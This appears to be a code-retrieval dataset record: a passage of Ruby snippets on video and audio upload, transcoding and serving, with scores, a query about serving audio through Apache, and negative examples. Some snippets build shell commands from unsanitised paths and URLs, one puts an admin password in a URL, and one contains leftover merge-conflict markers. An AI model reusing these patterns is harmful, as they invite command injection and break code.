VideoApi#video_resize_video_simple\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def video_convert_to_mp4_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VideoApi.video_convert_to_mp4 ...'\n end\n # resource path\n local_var_path = '/video/convert/to/mp4'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'fileUrl'] = opts[:'file_url'] if !opts[:'file_url'].nil?\n header_params[:'maxWidth'] = opts[:'max_width'] if !opts[:'max_width'].nil?\n header_params[:'maxHeight'] = opts[:'max_height'] if !opts[:'max_height'].nil?\n header_params[:'preserveAspectRatio'] = opts[:'preserve_aspect_ratio'] if !opts[:'preserve_aspect_ratio'].nil?\n header_params[:'frameRate'] = opts[:'frame_rate'] if !opts[:'frame_rate'].nil?\n header_params[:'quality'] = opts[:'quality'] if !opts[:'quality'].nil?\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = opts[:'input_file'] if !opts[:'input_file'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#video_convert_to_mp4\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create \n @video = Video.new() #get the attachemnt and create a video object with it\n\n if @video.save #if it saves then get the urll\n @video.create_url(params[:filepath]) \n\n if signed_in? #if the user is signed in add the video to their account\n current_user.videos << @video \n\n else #if they arent't uses sessions and a delete key\n @video.session_id = SecureRandom.urlsafe_base64(15) \n @video.delete_key = SecureRandom.urlsafe_base64(30) \n session[:owned_videos] ||= [] #if the current session doesn't have any owned_videos then create the array\n session[:owned_videos] << @video.session_id #add videos session id to array\n end\n\n @video.save \n send_to_heywatch @video\n render json: {url: \"/videos/#{@video.id}\"}\n else #error saving the video take them back to try again TODO show errors\n redirect_to \"/\"\n \n end\n end", "def video_asset_path(type)\n path = String.new\n unless @afdoc.external_video(:h264).first.nil?\n filename = @afdoc.external_video(:h264).first.datastreams[\"descMetadata\"].get_values(:name)\n path = File.join(@afdoc.pid.gsub(/:/,\"_\"),\"data\",filename)\n end\n return path\n end", "def video_cut_video_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VideoApi.video_cut_video ...'\n end\n # resource path\n local_var_path = '/video/cut'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'fileUrl'] = opts[:'file_url'] if !opts[:'file_url'].nil?\n header_params[:'startTime'] = opts[:'start_time'] if !opts[:'start_time'].nil?\n header_params[:'timeSpan'] = opts[:'time_span'] if !opts[:'time_span'].nil?\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = opts[:'input_file'] if !opts[:'input_file'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#video_cut_video\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @video = Video.new(event_id: params[:event_id], has_youtube: params[:has_youtube], video: params[:video], youtube: params[:youtube], default: params[:default])\n\n if params[:has_youtube] == 'false'\n image = StringIO.new(Base64.decode64(params[:poster]))\n image.class.class_eval { attr_accessor :original_filename, :content_type }\n image.original_filename = 'tester.jpg'\n image.content_type = 'image/jpeg'\n @video.poster = image\n end\n\n respond_to do |format|\n if @video.save\n unless @video.has_youtube\n transcode_flv(opentok_flv_url(@video.video), @video.video)\n end\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end", "def video_stream\n @video_stream ||= streams.find do |stream|\n stream.codec_context.codec_type == :VIDEO\n end\n end", "def create_image(title, description, parent_id, mime_type, file_name)\n\t insert_file(title, description, parent_id, 'application/vnd.google-apps.video', file_name)\n\tend", "def download_image(src_url,dest_path)\n content_type = http_content_type(src_url)\n content_type = content_type.gsub(\"image/\", \"\")\n content_type = content_type.gsub(\"pjpeg\",\"jpg\")\n content_type = content_type.gsub(\"jpeg\",\"jpg\")\n vortex_url = download_resource(src_url,dest_path,content_type)\n return vortex_url\nend", "def camera_callback\n if @params['status'] == 'ok'\n #create image record in the DB\n image = PicTimeLine.new({'image'=>@params['image_uri']})\n image.save\n # puts \"new Image object: \" + image.inspect \n end\n WebView::refresh\n #reply on the callback\n render :action => :ok, :layout => false\n end", "def send_video(url, name, video_info = {})\n client.api.send_content(id, url, name, 'm.video', extra_information: video_info)\n end", "def serve\n @photo = User.find(params[:user_id])\n send_data(@photo.data, :type => @photo.mime_type, \n :filename => \"#{@photo.filename}.jpg\",\n :disposition => \"inline\")\n\n\n # send_file(\"./public/uploads/#{@user.filename}\",\n # type: @user.mime_type,\n # disposition: 'inline' )\n end", "def videos_upload\n\n file_extname = File.extname self.file_upload.original_filename\n new_file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}#{self[:employee_id]}#{file_extname}\"\n folder_path = \"/videos/#{Time.now.strftime(\"%Y\") }/#{Time.now.strftime(\"%m\") }/#{Time.now.strftime(\"%d\") }/\"\n url_path = folder_path + new_file_name\n full_folder_path = \"#{Rails.root.to_s}/public#{folder_path}\"\n new_file_path = \"#{Rails.root.to_s}/public#{url_path}\"\n unless File.exist? full_folder_path\n `mkdir -p #{full_folder_path}`\n end\n\n Dir.mkdir(full_folder_path) unless File.exists?(full_folder_path)\n\n if !self.file_upload.original_filename.empty?\n self.status = Document::ENCODE_PROCESS\n self.original = url_path\n #`touch #{new_file_path}`\n File.open(new_file_path, \"wb\") do |f|\n f.write(self.file_upload.read)\n f.close\n end\n self.save!\n # async encoding video files\n begin\n Backburner.enqueue Document, \"#{Rails.root.to_s}/public\", url_path, self.id\n rescue => ex\n puts 'async task fail'\n puts ex\n self.status = Document::ENCODE_FAILED\n self.save\n end\n end\n\n end", "def create\n if video = Video.create(:uid => params[:video_uid], :remote_ip => request.remote_ip)\n @success = true\n \n # create the URL of the video\n video_url = \"#{BLEEOO_HOST}/videos/#{params[:video_uid]}\" \n begin \n bitly = Bitly.new(BITLY_USER, BITLY_API_KEY)\n logger.info(\"url: #{video_url}\")\n puts \"url: #{video_url}\"\n url = bitly.shorten(video_url)\n @short_url = url.short_url\n rescue \n @short_url = \"\"\n end\n \n video.short_link = @short_url\n video.save\n \n else\n @success = false \n end\n \n logger.info(\"success == #{@success}\")\n # respond_to do |format|\n # format.html\n # format.js {render :json => {:success => @success, :short_url => @short_url}.to_json }\n # end\n \n render :nothing => true, :json => {:success => @success, :short_url => @short_url}.to_json and return\n \n end", "def playvideo\n if(params.has_key?(:id))\n id = params[:id]\n end\n Pusher['photo-call'].trigger('play-video' , {\n control: \"1\", video_id: id\n })\n render text: \"ok\"\n end", "def create\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n @project.views = 1\n @project.hidden = false\n\n if project_params[:video] != nil\n file = project_params[:video].tempfile.open\n json = Cloudinary::Uploader.upload_large(file, \n :resource_type => :video, :chunk_size => 6_000_000, :public_id => @project.title)\n\n @project.video = json['url']\n \n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def http_test_4\n Net::HTTP.start('download.openbricks.org') do |http|\n f = File.open('http_test_4.mp4', 'wb')\n begin\n http.request_get('/sample/H2645/big_buck_bunny_480p_H264_AAC_25fps_1800K.MP4') do |resp|\n resp.read_body do |segment|\n f.write segment\n end\n end\n ensure\n f.close\n end\n end\nend", "def http_test_3\n File.open('http_test_3.mp4', 'wb') do |f|\n f.write RestClient.get(URL)\n end\nend", "def vserver\n @vfiler\n end", "def url_for_video_player\n if VIDEOS_ON_S3\n \"http://wickedstartbucket.s3.amazonaws.com#{self.multimedia.url(:original, false)}\"\n else\n self.multimedia.url(:original, false)\n end\n end", "def video_session\n filename.split(\"_\").first\n end", "def camera_callback\n @image = Image.find(:all)\n if @image.size > 0\n @image.each do |img|\n img.destroy\n end\n end\n if @params['status'] == 'ok'\n image = Image.new({'image_uri' => @params['image_uri']})\n image.save\n WebView.execute_js('showImage(\"'+Rho::RhoApplication::get_blob_path(image.image_uri)+'\");')\n end\n end", "def get_datas\n tnurl=\"/images/no-image.jpg\"\n if self.source_url.match(/(youtube.com*)/)\n vid=self.source_url.match(/=([A-Za-z0-9]*)/) ? self.source_url.match(/=([A-Za-z0-9\\d_\\-]*)/)[0].gsub(/=/,'') : self.source_url\n unless vid.blank?\n \n client=YouTubeIt::Client.new(:dev_key => YOUTUBE_API_KEY)\n \n \n begin\n youtube_data=client.video_by(vid)\n rescue\n youtube_data=nil\n self.errors.add(:source_url, \"Invalid video url, removed from youtube\")\n self.source_url=nil\n end \n \n \n unless youtube_data.nil? \n self.title= self.title.blank? ? youtube_data.title : self.title\n self.description= self.description.blank? ? youtube_data.description : self.description\n tnurl=youtube_data.thumbnails[0].url\n self.media_content_url=youtube_data.media_content[0].url\n end\n end\n self.provider=\"youtube\"\n elsif self.source_url.match(/(vimeo.com*)/)\n tnurl='/images/video/vimeo.png' \n vid=self.source_url.match(/vimeo.com\\/([^&]+)/)[1]\n unless vid.blank?\n vimeo_data=Vimeo::Simple::Video.info(vid)\n if vimeo_data && vimeo_data.size>0\n tnurl=vimeo_data[0][\"thumbnail_medium\"]\n self.title= self.title.blank? ? vimeo_data[0][\"title\"] : self.title\n self.description= self.description.blank? ? vimeo_data[0][\"description\"] : self.description\n end\n end\n\n #self.media_content_url=\"/videos/#{self.id}\"\n\n\n self.media_content_url=\"http://www.vimeo.com/moogaloop.swf?clip_id=#{vid}&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=\"\n self.provider=\"vimeo\"\n elsif self.source_url.match(/(dailymotion.com*)/)\n self.provider=\"dailymotion\" \n tnurl='/images/video/dailymotion.png' \n elsif self.source_url.match(/(myspace.com*)/)\n self.provider=\"myspace\" \n tnurl='/images/video/myspace.png' \n end\n\n self.thumbnail_url=tnurl\n\n\n end", "def video\n first_stream_of :video\n end", "def perform(recording_id)\n FFMPEG.logger = logger\n\n @recording = Recording.find recording_id\n\n render_video\n end", "def write_webcam_image_to_s3(bucket)\n # Create random name for image\n image_name = SecureRandom.hex(32) + \".jpg\";\n\n # Take picture and store it as image_name\n cli_cmd = $camera_command + \" \" + image_name\n `#{cli_cmd}`\n\n # Open Image file & upload it to StorageGRID\n image_file = File.open(image_name, \"r+\")\n $client.put_object(bucket: bucket, key: image_name,\n metadata: { 'foo' => 'bar' },\n body: image_file.read,\n server_side_encryption: 'AES256'\n )\n image_file.close\n\n # Delete temporary image file from disk\n File.delete(image_file)\n\n # return full URL of image\n $endpoint + \"/\" + bucket + \"/\" + image_name\nend", "def create\r\n @video = Video.new(params[:video])\r\n\r\n if !@video.image_url and @video.url =~ /youtube/\r\n @video.image_url = \"http://img.youtube.com/vi/\" + @video.url.split(\"/embed/\").last + \"/default.jpg\"\r\n end\r\n\r\n respond_to do |format|\r\n if @video.save\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { render json: @video, status: :created, location: @video }\r\n else\r\n format.html { render action: \"new\", :layout => false }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def show; @video.show; end", "def video_gen(slide)\n term = slide['term']\n kind = slide['kind']\n index = slide['index']\n audio = slide['audio']\n image = slide['image']\n raise \"audio is required fof #{term}\" unless audio\n raise \"image is required fof #{term}\" unless image\n file_name = file_name_gen(slide, \".mpg\")\n audio = command_arg(slide['audio'])\n image = command_arg(slide['image'])\n video = command_arg(file_name)\n `ffmpeg -loop 1 -y -i #{image} -i #{audio} -acodec libmp3lame -vcodec mpeg4 -shortest -qscale:v 1 #{video}`\n slide['video'] = file_name\nend", "def savevid\n tmp = params[:vids][:video].tempfile\n #require 'ftools'\n file = File.join(\"app/assets/videos\", params[:vids][:video].original_filename) # use public if you want\n FileUtils.cp tmp.path, file\n\n redirect_to \"/admin\"\nend", "def set_physical_video\n @physical_video = PhysicalVideo.find(params[:id])\n end", "def create\n @file = vid_params['file'].tempfile\n type = vid_params['file'].content_type\n client = YouTubeIt::Client.new(:username => ENV['GMAIL'], :password => ENV['GMAIL_PASSWORD'], :dev_key => ENV[\"YOUTUBE_API_KEY\"])\n res = client.video_upload(@file, title: vid_params['title'], description: vid_params['description'], category: 'People', :keywords => ['darity', 'dare', 'charity'])\n @video = Video.new(url: res.player_url, uid: res.player_url.gsub(/&.*/, \"\").gsub(/.*=/, \"\"), description: vid_params[\"description\"], title: vid_params['title'], dare_id: params[:dare_id])\n if @video.save\n redirect_to current_user\n else\n render html: \"Error\"\n end\n end", "def get_video_codec \n send_cmd(\"get_video_codec\")\n end", "def preview_image(recording, options = {})\n default_options = { :height => 120, :secs_in => 120 }\n options = default_options.merge(options)\n \n # Generate our query string for the MythTV request\n query_string = \"ChanId=#{recording.chanid}&StartTime=#{recording.myth_delimited_recstart}\"\n\n # Add in the optional parameters if they were specified\n query_string += \"&SecsIn=#{options[:secs_in]}\" if options[:secs_in]\n query_string += \"&Height=#{options[:height]}\" if options[:height]\n query_string += \"&Width=#{options[:width]}\" if options[:width]\n \n url = URI::HTTP.build( { :host => @host,\n :port => @status_port,\n :path => \"/Myth/GetPreviewImage\",\n :query => query_string } )\n \n # Make a GET request, and store the image data returned\n image_data = Net::HTTP.get(url)\n\n image_data\n end", "def serve_by_entry_id(entry_id, thumb_param_id=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# if not set, default thumbnail will be used.\n\t\t\tclient.add_param(kparams, 'thumbParamId', thumb_param_id);\n\t\t\tclient.queue_service_action_call('thumbasset', 'serveByEntryId', kparams);\n\t\t\treturn client.get_serve_url();\n\t\tend", "def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def my_video(video_id)\n client.get_my_video(video_id)\n end", "def sprint_process_media(doc)\n srcs = Array.new\n # collect all the images in the document, even though\n # they are <img> tag some might actually refer to video.\n # To know the link refers to vide one must look at the \n # content type on the http GET response.\n imgs = doc.search(\"/html/body//img\")\n imgs.each do |i|\n src = i.attributes['src']\n # we don't want to double fetch content and we only\n # want to fetch media from the content server, you get\n # a clue about that as there is a RECIPIENT in the URI path\n # of real content\n next unless /mmps\\/RECIPIENT\\//.match(src)\n next if srcs.detect{|s| s.eql?(src)}\n srcs << src\n end\n\n #we've got the payload now, go fetch them\n cnt = 0\n srcs.each do |src|\n begin\n \n url = URI.parse(CGI.unescapeHTML(src))\n unless @is_video\n query={}\n url.query.split('&').each{|a| p=a.split('='); query[p[0]] = p[1]}\n query.delete_if{|k, v| k == 'limitsize' or k == 'squareoutput' }\n url.query = query.map{|k,v| \"#{k}=#{v}\"}.join(\"&\")\n end\n # sprint is a ghetto, they expect to see &amp; for video request\n url.query = url.query.gsub(/&/, \"&amp;\") if @is_video\n\n res = Net::HTTP.get_response(url)\n rescue StandardError => err\n log(\"#{self.class} processing error, #{$!}\", :error)\n next\n end\n\n # if the Sprint content server uses response code 500 when the content is purged\n # the content type will text/html and the body will be the message\n if res.content_type == 'text/html' && res.code == \"500\"\n log(\"Sprint content server returned response code 500\", :error)\n next\n end\n\n # setup the file path and file\n base = /\\/RECIPIENT\\/([^\\/]+)\\//.match(src)[1]\n type = res.content_type\n file_name = \"#{base}-#{cnt}.#{self.class.default_ext(type)}\"\n file = File.join(msg_tmp_dir(),File.basename(file_name))\n\n # write it and add it to the media hash\n type, file = sprint_write_file(type, res.body, file)\n add_file(type, file) unless type.nil? || file.nil?\n cnt = cnt + 1\n end\n\n end", "def videos_test\n end", "def test_convert_video\n get convert_url, params: { url: Predoc::TestConfig::FIXTURE_URLS[:mp4] }\n assert_response :success\n assert_template(:error)\n end", "def convert_video_to_flv(filename, path, content, url)\n logger.debug \"Convert the video ( #{filename} ) path ( #{path}) from content type of #{content} to flv\"\n File.new(File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.flv\"), File::CREAT | File::TRUNC| File::RDWR, 0644)\n videoflv = File.join(Rails.root, 'public' , 'system', File.dirname(path), \"#{filename}.flv\")\n system(\"ffmpeg -i #{url} -r 25 -ar 44100 -vcodec flv -ab 32 -y -f flv -s 320x240 #{videoflv}\")\n return videoflv\n end", "def public_file_server=(_arg0); end", "def public_file_server=(_arg0); end", "def view_video_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.view_video ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling MediaVideosApi.view_video\"\n end\n # resource path\n local_var_path = \"/media/videos/{id}/views\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#view_video\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def image\n #__log_activity\n # __debug_route\n response = Faraday.get(params[:url]) # TODO: caching\n image_data = Base64.encode64(response.body)\n mime_type = response.headers['content-type']\n render plain: image_data, format: mime_type, layout: false\n end", "def service_url\n begin\n return video.url\n rescue\n nil\n end\n end", "def video(*sources)\n options = sources.extract_options!.symbolize_keys\n sources = sources.shift if sources.size == 1\n\n if options[:poster]\n options[:poster] = asset_path(options[:poster])\n end\n\n if size = options.delete(:size)\n options[:width], options[:height] = size =~ /^\\d+x\\d+$/ ? size.split('x') : size\n end\n\n if sources.is_a?(Array)\n content_tag(:video, options) do\n sources.collect { |source| tag(:source, src: asset_path(source)) }.join(\"\\n\")\n end\n else\n tag(:video, options.reverse_merge(src: asset_path(sources)))\n end\n end", "def set_video_id\n send(\"#{provider}_video_id\")\n end", "def set_video\n \n @video = Video.find(params[:id])\n \n end", "def download_to_server full_url, path, ext\n require 'open-uri'\n\n user_directory = IMAGE_DIRECTORY + \"/#{session[:access_token].params['edam_userId']}\"\n unless File.directory? IMAGE_DIRECTORY\n Dir::mkdir( IMAGE_DIRECTORY ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n unless File.directory? user_directory\n Dir::mkdir( user_directory ) # 第二パラメータ省略時のパーミッションは0777\n end\n\n file_name = user_directory + \"/\" + path + '.' + ext\n\n # TODO is this instance variable visible from the controller which include this module?\n @selected_file << file_name\n unless File.exists?(file_name)\n File.open(file_name, 'wb') do |output|\n # Download image\n # TODO: handle if session access token is nil\n open(full_url + \"?auth=#{session[:access_token].token}\") do |input|\n output << input.read\n end\n end\n end\n end", "def put_video(*video_args, &block)\n args = parse_media_args(video_args, \"videos\")\n args.last[:video] = true\n put_connections(*args, &block)\n end", "def create\n audio_types = [\"audio/vnd.wave\", \"audio/mpeg\", \"audio/mp3\", \"audio/mp4\", \"audio/wav\"]\n video_types = [\"application/mp4\", \"video/mpeg\", \"video/mpeg2\", \"video/mp4\", \"video/quicktime\"]\n unknown_types = [\"application/octet-stream\"]\n \n wrong_format = false \n @upload_format = 'other'\n \n if params.has_key?(:Filedata) and params.has_key?(:original)\n @video_assets = []\n \t\tparams[:Filedata].each do |file|\n puts \"<< MIME type is #{file.content_type} >>\"\n \t\t @upload_format = 'video' if video_types.include?(file.content_type)\n \t\t @upload_format = 'audio' if audio_types.include?(file.content_type)\n \t\t \n \t\t # If the content type cannot be inferred from the MIME type fall back on the\n \t\t # list of unknown types. This is different than a generic fallback because it\n \t\t # is skipped for known invalid extensions like application/pdf\n \t\t @upload_format = determine_format_by_extension(file) if unknown_types.include?(file.content_type)\n \t\t puts \"<< Uploaded file appears to be #{@upload_format} >>\"\n \t\t \n \t\t if 'unknown' == @upload_format\n \t wrong_format = true\n \t break\n \t \n \t\t end\n \t\t \n \t\t\t@video_assets << video_asset = saveOriginalToHydrant(file)\n \t\t\tif video_asset.save\n \t\t\tvideo_asset = sendOriginalToMatterhorn(video_asset, file)\n \t\t\tvideo_asset.save\n\t\t\t end\n \t\t\t#TODO store Workflow instance id and/or MediaPackage in VideoDCDatastream so we can show processing status on edit page later\n \t\tend\n else\n flash[:notice] = \"You must specify a file to upload.\"\n end\n \n respond_to do |format|\n flash[:upload] = create_upload_notice(@upload_format)\n puts \"<< #{flash[:upload]} >>\"\n \n unless params[:container_id].nil?\n \tformat.html { \n redirect_to :controller => \"catalog\", :action => \"edit\", :id => params[:container_id] }\n \tformat.js { }\n else \n format.html { \n redirect_to :controller => \"catalog\", :action => \"index\"}\n format.js { }\n end\n end\n end" ]
[ "0.6226114", "0.62218916", "0.61662036", "0.61038744", "0.5980719", "0.5953603", "0.59417665", "0.59393287", "0.59091514", "0.5905462", "0.5891946", "0.58840954", "0.587745", "0.587745", "0.58565646", "0.5837253", "0.581587", "0.5803875", "0.5771184", "0.57599425", "0.57045877", "0.5687626", "0.5656517", "0.56426406", "0.5634779", "0.56319636", "0.5622755", "0.5611172", "0.5606408", "0.5546619", "0.55287987", "0.5523006", "0.54820585", "0.54727525", "0.5461911", "0.5461911", "0.5427123", "0.5421476", "0.5403645", "0.53989923", "0.5387744", "0.5379182", "0.5378753", "0.53613895", "0.5359652", "0.5354781", "0.5353926", "0.5344553", "0.53426856", "0.5339418", "0.53365856", "0.5327216", "0.5324955", "0.5324872", "0.5310799", "0.53013355", "0.53009987", "0.5295331", "0.52907765", "0.5281875", "0.5279341", "0.52762777", "0.52760977", "0.52629334", "0.5255678", "0.5252266", "0.5250071", "0.52489597", "0.5243487", "0.5236975", "0.5232638", "0.5224651", "0.52194446", "0.5213773", "0.5213218", "0.5195463", "0.51912194", "0.5190564", "0.5185053", "0.5140793", "0.51392794", "0.513771", "0.51347494", "0.51336825", "0.513168", "0.5131238", "0.51166534", "0.51157016", "0.51143533", "0.51128864", "0.51128864", "0.511002", "0.51076627", "0.5106288", "0.50925756", "0.50865716", "0.5085082", "0.50810397", "0.5069844", "0.5066576" ]
0.63397646
0
serve audio directy via apache (apache needs to be configured to serve nuxeo repo)
def render_audio_directly options={} # render audio player content_tag(:div) do options[:value].collect do |audio_md5| l1 = audio_md5[0..1] l2 = audio_md5[2..3] content_tag(:audio, content_tag(:source, "I'm sorry; your browser doesn't support HTML5 audio in MPEG format.", src: "https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{audio_md5}", id: 'audio_md5', type: 'audio/mpeg'), controls: 'controls', style: 'height: 60px; width: 640px;') end.join.html_safe end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def audio_url(source, options = T.unsafe(nil)); end", "def songs\n<<<<<<< HEAD\n file=\"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\"\n if File.exists?(file)\n send_file(\n file,\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n else\n render nothing: true\n end\n=======\n send_file(\n \"#{Rails.root}/public/#{params[:user_id]}/#{params[:file]}.#{params[:ext]}\",\n filename: \"#{params[:file_name]}\",\n type: \"application/mp3\"\n )\n>>>>>>> b71dc3f177d170c9fc8bde7924fd28f948e88acc\n end", "def url_to_audio(source, options = T.unsafe(nil)); end", "def audio; end", "def audio\n \t@playlist = Playlist.last\n send_glued_audio('list', :playlist => @playlist)\n end", "def audio\n @audio ||= URI.parse(\"#{AUDIO_SERVICE_URL}/#{@language.slug}/#{URI::encode(@text)}.mp3\")\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{CONFERENCE_PATH}/#{id}/audio\"), data)[0]\n end", "def download\n @audio = Audio.find(params[:id])\n send_file(RAILS_ROOT+\"/public\"+@audio.audio.url.split(\"?\")[0], :disposition => 'inline', :stream => false)\n end", "def audio_path(source)\n compute_public_path(source, 'audios')\n end", "def send_audio(url, name, audio_info = {})\n client.api.send_content(id, url, name, 'm.audio', extra_information: audio_info)\n end", "def play_audio(data)\n @client.make_request(:post, @client.concat_user_path(\"#{BRIDGE_PATH}/#{id}/audio\"), data)[0]\n end", "def play\n voice = User.find_by(id: current_user.id).tts_voice\n logger.info '================ START TTS ==============='\n answer_audio_file = TtsService.call(@entry, voice)\n logger.info '================ END TTS ==============='\n respond_to do |format|\n format.html do\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Mon, 01 Jan 1990 00:00:00 GMT\"\n expires_in 1.seconds, public: true\n send_file(answer_audio_file, type: 'audio/mpeg', disposition: 'inline')\n end\n end\n end", "def audio_path\n #TODO change path after Yura send information\n \"/audio/success.wav\"\n end", "def http_audio_url\n https_audio_url.gsub(/\\Ahttps/, 'http')\n end", "def audio_gen(slide)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = file_name_gen(slide, \".WAV\")\n say = command_arg('[[slnc 1000]]' + slide['script'] + '[[slnc 1000]]')\n output = command_arg(file_name)\n `say -v Jill #{say} -o #{output}`\n slide['audio'] = file_name\nend", "def path_to_audio(source, options = T.unsafe(nil)); end", "def main_audio ; end", "def play_file(file)\n\t\tsystem(\"afplay #{file}\") #switching ogg123 to afplay\n\tend", "def render_audio_csid options={}\n # render audio player\n content_tag(:div) do\n options[:value].collect do |audio_csid|\n content_tag(:audio,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 audio in MPEG format.\",\n src: \"https://webapps.cspace.berkeley.edu/#TENANT#/imageserver/blobs/#{audio_csid}/content\",\n id: 'audio_csid',\n type: 'audio/mpeg'),\n controls: 'controls',\n style: 'height: 60px; width: 640px;')\n end.join.html_safe\n end\n end", "def make\n App.out.make_audio_file\nend", "def copy_audio_to_web_source(folder_name)\n `cp -r ./audio/#{folder_name}/ 